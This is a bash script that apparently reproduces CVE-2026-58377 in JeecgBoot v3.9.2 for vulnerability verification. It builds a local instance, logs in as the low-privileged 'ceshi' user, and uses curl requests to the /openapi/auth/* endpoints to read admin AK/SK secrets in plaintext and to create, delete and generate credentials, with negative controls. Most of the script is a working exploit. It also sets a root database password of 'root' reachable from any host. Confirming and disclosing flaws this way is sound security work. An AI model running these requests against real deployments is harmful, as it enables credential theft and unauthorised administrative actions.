#!/bin/bash
set -uo pipefail

# ============================================================================
# CVE-2026-58377 - JeecgBoot Broken Access Control Privilege Escalation
# ============================================================================
# Reproduces: authenticated low-privileged user (ceshi/test role) can perform
# full CRUD on OpenAPI credentials via /openapi/auth/* endpoints that lack
# Shiro @RequiresRoles annotations, while the sibling /openapi/* controller
# correctly enforces @RequiresRoles({"admin"}).
#
# Vulnerable version: JeecgBoot v3.9.2 (commit 7df07a8)
# ============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$ARTIFACTS/http"

cd "$ROOT"

# Logging helpers
log()   { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }
ok()    { echo "[$(date '+%H:%M:%S')] ✓ $*"; echo "[$(date '+%H:%M:%S')] ✓ $*" >> "$LOGS/reproduction_steps.log"; }
fail()  { echo "[$(date '+%H:%M:%S')] ✗ $*"; echo "[$(date '+%H:%M:%S')] ✗ $*" >> "$LOGS/reproduction_steps.log"; }
info()  { echo "[$(date '+%H:%M:%S')] ℹ $*"; echo "[$(date '+%H:%M:%S')] ℹ $*" >> "$LOGS/reproduction_steps.log"; }

# Track results for manifest
SERVICE_STARTED=false
HEALTHCHECK=false
TARGET_REACHED=false
PROOF_ARTIFACTS=()
PROOF_COUNT=0

# ----------------------------------------------------------------------------
# Phase 1: Resolve repo path from project_cache_context.json
# ----------------------------------------------------------------------------
log "=== Phase 1: Resolve repository path ==="

REPO=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
    if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo" ]; then
        REPO="$CACHE_DIR/repo"
        log "Using prepared project cache repo: $REPO"
    fi
fi

if [ -z "$REPO" ] || [ ! -d "$REPO" ]; then
    log "Project cache not available; cloning JeecgBoot v3.9.2"
    REPO="$ROOT/artifacts/JeecgBoot"
    if [ ! -d "$REPO" ]; then
        git clone --depth 1 --branch v3.9.2 https://github.com/jeecgboot/JeecgBoot.git "$REPO" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
    fi
fi

JEECG_BOOT_DIR="$REPO/jeecg-boot"
SQL_FILE="$JEECG_BOOT_DIR/db/jeecgboot-mysql-5.7.sql"
JAR_PATH="$JEECG_BOOT_DIR/jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.2.jar"

info "Repo: $REPO"
info "Jar:  $JAR_PATH"

# ----------------------------------------------------------------------------
# Phase 2: Install dependencies
# ----------------------------------------------------------------------------
log "=== Phase 2: Install build/runtime dependencies ==="

export DEBIAN_FRONTEND=noninteractive

if ! command -v java &>/dev/null || ! command -v mvn &>/dev/null; then
    log "Installing JDK 17 and Maven..."
    sudo apt-get update -qq 2>&1 | tail -3
    sudo apt-get install -y -qq openjdk-17-jdk-headless maven 2>&1 | tail -5
fi

if ! command -v redis-server &>/dev/null; then
    log "Installing Redis..."
    sudo apt-get install -y -qq redis-server 2>&1 | tail -3
fi

if ! command -v mysqld &>/dev/null && ! command -v mariadbd &>/dev/null; then
    log "Installing MariaDB..."
    sudo apt-get install -y -qq mariadb-server 2>&1 | tail -5
fi

export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))
log "JAVA_HOME=$JAVA_HOME, $(java -version 2>&1 | head -1)"

# ----------------------------------------------------------------------------
# Phase 3: Start MariaDB and Redis
# ----------------------------------------------------------------------------
log "=== Phase 3: Start MariaDB and Redis ==="

# Start MariaDB
if ! mysqladmin ping 2>/dev/null; then
    log "Starting MariaDB..."
    sudo mkdir -p /run/mysqld && sudo chown mysql:mysql /run/mysqld
    sudo mariadbd-safe --skip-grant-tables &
    sleep 5
fi

# Set root password
sudo mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'root'; CREATE USER IF NOT EXISTS 'root'@'%' IDENTIFIED BY 'root'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" 2>/dev/null || true

mysql -u root -proot -e "SELECT 1" >/dev/null 2>&1 || { fail "Cannot connect to MariaDB"; exit 1; }
ok "MariaDB is running"

# Start Redis
if ! redis-cli ping 2>/dev/null | grep -q PONG; then
    log "Starting Redis..."
    redis-server --daemonize yes --port 6379 --bind 127.0.0.1 2>&1 || true
    sleep 1
fi
redis-cli ping 2>/dev/null | grep -q PONG || { fail "Cannot start Redis"; exit 1; }
ok "Redis is running"

# ----------------------------------------------------------------------------
# Phase 4: Initialize database
# ----------------------------------------------------------------------------
log "=== Phase 4: Initialize database ==="

mysql -u root -proot -e "DROP DATABASE IF EXISTS \`jeecg-boot\`; CREATE DATABASE \`jeecg-boot\` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci" 2>&1
log "Importing seed SQL (this may take a minute)..."
mysql -u root -proot "jeecg-boot" < "$SQL_FILE" 2>&1 | head -5
ok "Database initialized"

# Verify seed data
ADMIN_USER_ID=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT id FROM sys_user WHERE username='admin'" 2>/dev/null)
CESHI_USER_ID=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT id FROM sys_user WHERE username='ceshi'" 2>/dev/null)
SEED_AK=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT ak FROM open_api_auth LIMIT 1" 2>/dev/null)
SEED_SK=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT sk FROM open_api_auth LIMIT 1" 2>/dev/null)

info "Admin user ID: $ADMIN_USER_ID"
info "Ceshi (low-priv) user ID: $CESHI_USER_ID"
info "Seed OpenAPI auth - AK: $SEED_AK, SK: $SEED_SK"

CESHI_ROLE=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT r.role_code FROM sys_user_role ur JOIN sys_role r ON ur.role_id=r.id WHERE ur.user_id='$CESHI_USER_ID'" 2>/dev/null)
info "Ceshi role: $CESHI_ROLE (expected: test - non-admin)"

# ----------------------------------------------------------------------------
# Phase 5: Build the jar (if not already built)
# ----------------------------------------------------------------------------
log "=== Phase 5: Build JeecgBoot jar ==="

if [ -f "$JAR_PATH" ]; then
    ok "Jar already built: $JAR_PATH"
else
    log "Building JeecgBoot (this may take several minutes)..."
    cd "$JEECG_BOOT_DIR"
    mvn clean install -DskipTests -T 1C 2>&1 | tee "$LOGS/maven_build.log" | tail -20
    BUILD_EXIT=${PIPESTATUS[0]}
    cd "$ROOT"
    if [ "$BUILD_EXIT" != "0" ] || [ ! -f "$JAR_PATH" ]; then
        fail "Maven build failed (exit=$BUILD_EXIT)"
        tail -50 "$LOGS/maven_build.log"
        exit 1
    fi
    ok "Build succeeded"
fi

# ----------------------------------------------------------------------------
# Phase 6: Start JeecgBoot application
# ----------------------------------------------------------------------------
log "=== Phase 6: Start JeecgBoot application ==="

# Kill any existing JeecgBoot instance
pkill -f "jeecg-system-start-3.9.2.jar" 2>/dev/null || true
sleep 2

# Kill Apache2 if it occupies port 8080
if ss -tln 2>/dev/null | grep -q ':8080'; then
    log "Port 8080 occupied, attempting to free it..."
    sudo pkill -f "apache2" 2>/dev/null || true
    sleep 2
fi

# Clear Redis cache for clean state
redis-cli FLUSHALL 2>/dev/null || true

APP_LOG="$LOGS/jeecgboot_app.log"

# Write a startup helper script
cat > "$LOGS/start_jeecg.sh" <<STARTEOF
#!/bin/bash
export JAVA_HOME="$JAVA_HOME"
java -Xms256m -Xmx1024m -Djava.security.egd=file:/dev/./urandom -jar "$JAR_PATH" --jeecg.firewall.enableLoginCaptcha=false > "$APP_LOG" 2>&1
STARTEOF
chmod +x "$LOGS/start_jeecg.sh"

log "Starting JeecgBoot with captcha disabled..."
setsid bash "$LOGS/start_jeecg.sh" &
info "App starting in background..."

# Wait for the application to start (up to 180 seconds)
log "Waiting for application to start..."
APP_READY=false
for i in $(seq 1 60); do
    sleep 3
    RESP=$(curl -s -m 5 -X POST http://127.0.0.1:8080/jeecg-boot/sys/login \
        -H "Content-Type: application/json" \
        -d '{"username":"admin","password":"wrongpass"}' 2>/dev/null || echo "")
    if echo "$RESP" | jq -e '.success == false' >/dev/null 2>&1; then
        APP_READY=true
        break
    fi
    log "  Waiting... ($((i*3))s)"
done

if [ "$APP_READY" = "false" ]; then
    fail "Application did not start within 180s"
    tail -80 "$APP_LOG" 2>/dev/null
    exit 1
fi

SERVICE_STARTED=true
HEALTHCHECK=true
ok "JeecgBoot application is running on port 8080 (healthcheck passed)"

# ----------------------------------------------------------------------------
# Phase 7: Exploit - Login as low-privileged user and access admin endpoints
# ----------------------------------------------------------------------------
log "=== Phase 7: Exploit - Low-priv user accesses OpenAPI credential endpoints ==="

BASE_URL="http://127.0.0.1:8080/jeecg-boot"
HTTP_DIR="$ARTIFACTS/http"

# 7a. Login as low-privileged user (ceshi, role=test, password=123456)
log "7a. Login as low-privileged user 'ceshi' (role: test)..."
LOGIN_RESP=$(curl -s -m 10 -X POST "$BASE_URL/sys/login" \
    -H "Content-Type: application/json" \
    -d '{"username":"ceshi","password":"123456"}' 2>/dev/null || echo "")
echo "$LOGIN_RESP" | jq . > "$HTTP_DIR/login_ceshi_response.json" 2>/dev/null || echo "$LOGIN_RESP" > "$HTTP_DIR/login_ceshi_response.json"
PROOF_ARTIFACTS+=("logs/jeecgboot_app.log" "artifacts/http/login_ceshi_response.json")

LOWPRIV_TOKEN=$(echo "$LOGIN_RESP" | jq -r '.result.token // empty')
if [ -z "$LOWPRIV_TOKEN" ]; then
    fail "Login as ceshi failed"
    cat "$HTTP_DIR/login_ceshi_response.json"
    exit 1
fi
ok "Low-priv user 'ceshi' logged in successfully, got JWT token"

# 7b. PROOF 1: GET /openapi/auth/list - low-priv user reads ALL AK/SK credentials
log "7b. PROOF 1: Low-priv user calls GET /openapi/auth/list (no @RequiresRoles)..."
AUTH_LIST_RESP=$(curl -s -m 10 -X GET "$BASE_URL/openapi/auth/list?pageNo=1&pageSize=50" \
    -H "X-Access-Token: $LOWPRIV_TOKEN" 2>/dev/null || echo "")
echo "$AUTH_LIST_RESP" | jq . > "$HTTP_DIR/openapi_auth_list_response.json" 2>/dev/null || echo "$AUTH_LIST_RESP" > "$HTTP_DIR/openapi_auth_list_response.json"
PROOF_ARTIFACTS+=("artifacts/http/openapi_auth_list_response.json")

AUTH_LIST_SUCCESS=$(echo "$AUTH_LIST_RESP" | jq -r '.success // false')
RETURNED_AK=$(echo "$AUTH_LIST_RESP" | jq -r '.result.records[0].ak // empty')
RETURNED_SK=$(echo "$AUTH_LIST_RESP" | jq -r '.result.records[0].sk // empty')
RETURNED_OWNER=$(echo "$AUTH_LIST_RESP" | jq -r '.result.records[0].systemUserId_dictText // .result.records[0].systemUserId // empty')

log "  Response: success=$AUTH_LIST_SUCCESS"
log "  Returned: AK=$RETURNED_AK, SK=$RETURNED_SK, owner=$RETURNED_OWNER"

if [ "$AUTH_LIST_SUCCESS" = "true" ] && [ -n "$RETURNED_SK" ]; then
    ok "PROOF 1 CONFIRMED: Low-priv user retrieved OpenAPI credentials with SK in plaintext"
    TARGET_REACHED=true
    PROOF_COUNT=$((PROOF_COUNT+1))
    if [ "$RETURNED_OWNER" = "admin" ] || [ "$RETURNED_OWNER" = "$ADMIN_USER_ID" ]; then
        ok "  The credential belongs to admin - privilege escalation demonstrated"
    fi
else
    fail "PROOF 1 FAILED: Could not retrieve credentials"
fi

# 7c. PROOF 2: POST /openapi/auth/add - low-priv user creates a credential
log "7c. PROOF 2: Low-priv user calls POST /openapi/auth/add (no @RequiresRoles)..."
NEW_AUTH_ID="lowpriv_test_$(date +%s)"
ADD_RESP=$(curl -s -m 10 -X POST "$BASE_URL/openapi/auth/add" \
    -H "X-Access-Token: $LOWPRIV_TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"id\":\"$NEW_AUTH_ID\",\"name\":\"lowpriv_created\",\"ak\":\"ak-ATTACKER\",\"sk\":\"sk-ATTACKERSECRET\",\"systemUserId\":\"$CESHI_USER_ID\"}" 2>/dev/null || echo "")
echo "$ADD_RESP" | jq . > "$HTTP_DIR/openapi_auth_add_response.json" 2>/dev/null || echo "$ADD_RESP" > "$HTTP_DIR/openapi_auth_add_response.json"
PROOF_ARTIFACTS+=("artifacts/http/openapi_auth_add_response.json")

ADD_SUCCESS=$(echo "$ADD_RESP" | jq -r '.success // false')
log "  Add response: success=$ADD_SUCCESS"

if [ "$ADD_SUCCESS" = "true" ]; then
    ok "PROOF 2 CONFIRMED: Low-priv user created a new OpenAPI credential (privileged action)"
    PROOF_COUNT=$((PROOF_COUNT+1))
    DB_CHECK=$(mysql -u root -proot "jeecg-boot" -sN -e "SELECT name FROM open_api_auth WHERE id='$NEW_AUTH_ID'" 2>/dev/null || echo "")
    if [ -n "$DB_CHECK" ]; then
        ok "  Database confirms: credential '$DB_CHECK' persisted by low-priv user"
    fi
else
    fail "PROOF 2 FAILED: Low-priv user could not add credential"
fi

# 7d. PROOF 3: DELETE /openapi/auth/delete - low-priv user deletes the credential
log "7d. PROOF 3: Low-priv user calls DELETE /openapi/auth/delete..."
DEL_RESP=$(curl -s -m 10 -X DELETE "$BASE_URL/openapi/auth/delete?id=$NEW_AUTH_ID" \
    -H "X-Access-Token: $LOWPRIV_TOKEN" 2>/dev/null || echo "")
echo "$DEL_RESP" | jq . > "$HTTP_DIR/openapi_auth_delete_response.json" 2>/dev/null || echo "$DEL_RESP" > "$HTTP_DIR/openapi_auth_delete_response.json"
PROOF_ARTIFACTS+=("artifacts/http/openapi_auth_delete_response.json")

DEL_SUCCESS=$(echo "$DEL_RESP" | jq -r '.success // false')
log "  Delete response: success=$DEL_SUCCESS"

if [ "$DEL_SUCCESS" = "true" ]; then
    ok "PROOF 3 CONFIRMED: Low-priv user deleted an OpenAPI credential (privileged action)"
    PROOF_COUNT=$((PROOF_COUNT+1))
else
    fail "PROOF 3 FAILED: Low-priv user could not delete credential"
fi

# 7e. PROOF 4: GET /openapi/auth/genAKSK - low-priv user generates AK/SK pair
log "7e. PROOF 4: Low-priv user calls GET /openapi/auth/genAKSK..."
GEN_RESP=$(curl -s -m 10 -X GET "$BASE_URL/openapi/auth/genAKSK" \
    -H "X-Access-Token: $LOWPRIV_TOKEN" 2>/dev/null || echo "")
echo "$GEN_RESP" | jq . > "$HTTP_DIR/openapi_auth_genAKSK_response.json" 2>/dev/null || echo "$GEN_RESP" > "$HTTP_DIR/openapi_auth_genAKSK_response.json"
PROOF_ARTIFACTS+=("artifacts/http/openapi_auth_genAKSK_response.json")

GEN_SUCCESS=$(echo "$GEN_RESP" | jq -r '.success // false')
if [ "$GEN_SUCCESS" = "true" ]; then
    ok "PROOF 4 CONFIRMED: Low-priv user generated AK/SK pair via admin endpoint"
    PROOF_COUNT=$((PROOF_COUNT+1))
else
    fail "PROOF 4 FAILED: Low-priv user could not generate AK/SK"
fi

# ----------------------------------------------------------------------------
# Phase 8: Negative control - Protected endpoint rejects low-priv user
# ----------------------------------------------------------------------------
log "=== Phase 8: Negative control - Protected /openapi/add rejects low-priv user ==="

log "8a. Low-priv user calls POST /openapi/add (HAS @RequiresRoles({\"admin\"}))..."
NEG_RESP=$(curl -s -m 10 -X POST "$BASE_URL/openapi/add" \
    -H "X-Access-Token: $LOWPRIV_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"id":"negtest","name":"negtest","requestMethod":"GET","requestUrl":"/test"}' 2>/dev/null || echo "")
echo "$NEG_RESP" | jq . > "$HTTP_DIR/openapi_add_negcontrol_response.json" 2>/dev/null || echo "$NEG_RESP" > "$HTTP_DIR/openapi_add_negcontrol_response.json"
PROOF_ARTIFACTS+=("artifacts/http/openapi_add_negcontrol_response.json")

NEG_SUCCESS=$(echo "$NEG_RESP" | jq -r '.success // false')
NEG_MSG=$(echo "$NEG_RESP" | jq -r '.message // empty')
log "  Negative control: success=$NEG_SUCCESS, message=$NEG_MSG"

if [ "$NEG_SUCCESS" = "false" ]; then
    ok "NEGATIVE CONTROL CONFIRMED: Protected /openapi/add rejected low-priv user"
    ok "  Contrast: /openapi/auth/add (NO annotation) = SUCCESS vs /openapi/add (HAS @RequiresRoles) = REJECTED"
else
    info "Negative control: unexpected success=$NEG_SUCCESS"
fi

# 8b. Admin positive control - admin CAN access the protected endpoint
log "8b. Admin user calls POST /openapi/add (admin has admin role)..."
ADMIN_LOGIN_RESP=$(curl -s -m 10 -X POST "$BASE_URL/sys/login" \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"123456"}' 2>/dev/null || echo "")
echo "$ADMIN_LOGIN_RESP" | jq . > "$HTTP_DIR/login_admin_response.json" 2>/dev/null
PROOF_ARTIFACTS+=("artifacts/http/login_admin_response.json")
ADMIN_TOKEN=$(echo "$ADMIN_LOGIN_RESP" | jq -r '.result.token // empty')

if [ -n "$ADMIN_TOKEN" ]; then
    ok "Admin logged in successfully"
    ADMIN_ADD_RESP=$(curl -s -m 10 -X POST "$BASE_URL/openapi/add" \
        -H "X-Access-Token: $ADMIN_TOKEN" \
        -H "Content-Type: application/json" \
        -d '{"id":"admintest001","name":"admin_test","requestMethod":"GET","requestUrl":"/test","originUrl":"http://example.com/test"}' 2>/dev/null || echo "")
    echo "$ADMIN_ADD_RESP" | jq . > "$HTTP_DIR/openapi_add_admin_response.json" 2>/dev/null
    PROOF_ARTIFACTS+=("artifacts/http/openapi_add_admin_response.json")
    ADMIN_ADD_SUCCESS=$(echo "$ADMIN_ADD_RESP" | jq -r '.success // false')
    if [ "$ADMIN_ADD_SUCCESS" = "true" ]; then
        ok "Admin positive control: admin can access /openapi/add (has admin role)"
    fi
    curl -s -m 5 -X DELETE "$BASE_URL/openapi/delete?id=admintest001" -H "X-Access-Token: $ADMIN_TOKEN" >/dev/null 2>&1 || true
fi

# ----------------------------------------------------------------------------
# Phase 9: Summary
# ----------------------------------------------------------------------------
log "=== Phase 9: Summary ==="

OVERALL_SUCCESS=false
if [ "$PROOF_COUNT" -ge 3 ] && [ "$TARGET_REACHED" = "true" ]; then
    OVERALL_SUCCESS=true
    ok "CVE-2026-58377 REPRODUCED: Low-priv user performed full CRUD on OpenAPI credentials"
    ok "  Proofs passed: $PROOF_COUNT/4"
    ok "  - Read admin's AK/SK in plaintext: $RETURNED_AK / $RETURNED_SK"
    ok "  - Created credential as low-priv user"
    ok "  - Deleted credential as low-priv user"
    ok "  - Generated AK/SK pair as low-priv user"
    ok "  - Negative control: /openapi/add rejected low-priv user (has @RequiresRoles)"
else
    fail "CVE-2026-58377 reproduction incomplete ($PROOF_COUNT/4 proofs)"
fi

# ----------------------------------------------------------------------------
# Phase 10: Write runtime manifest
# ----------------------------------------------------------------------------
log "=== Phase 10: Write runtime manifest ==="

ARTIFACTS_JSON=$(printf '%s\n' "${PROOF_ARTIFACTS[@]}" | jq -R . | jq -s . 2>/dev/null || echo '[]')

jq -n \
    --arg entrypoint_detail "JeecgBoot 3.9.2 HTTP API at http://127.0.0.1:8080/jeecg-boot - /openapi/auth/* endpoints (OpenApiAuthController)" \
    --argjson service_started "$SERVICE_STARTED" \
    --argjson healthcheck "$HEALTHCHECK" \
    --argjson target_reached "$TARGET_REACHED" \
    --argjson artifacts "$ARTIFACTS_JSON" \
    '{
      entrypoint_kind: "api_remote",
      entrypoint_detail: $entrypoint_detail,
      service_started: $service_started,
      healthcheck_passed: $healthcheck,
      target_path_reached: $target_reached,
      runtime_stack: ["mariadb", "redis", "jeecgboot-3.9.2-springboot3-jar"],
      proof_artifacts: $artifacts,
      notes: "Low-priv user (ceshi/test role) performed full CRUD on OpenAPI credentials via /openapi/auth/* endpoints lacking Shiro @RequiresRoles annotations. Admin AK/SK read in plaintext. Negative control: /openapi/add with @RequiresRoles(admin) rejected low-priv user."
    }' > "$REPRO_DIR/runtime_manifest.json"

ok "Runtime manifest written to $REPRO_DIR/runtime_manifest.json"

# ----------------------------------------------------------------------------
# Cleanup
# ----------------------------------------------------------------------------
log "=== Cleanup ==="
pkill -f "jeecg-system-start-3.9.2.jar" 2>/dev/null || true
info "Stopped JeecgBoot application"

cp "$HTTP_DIR"/*.json "$LOGS/" 2>/dev/null || true

if [ "$OVERALL_SUCCESS" = "true" ]; then
    ok "=== REPRODUCTION SUCCESSFUL ==="
    exit 0
else
    fail "=== REPRODUCTION FAILED ==="
    exit 1
fi
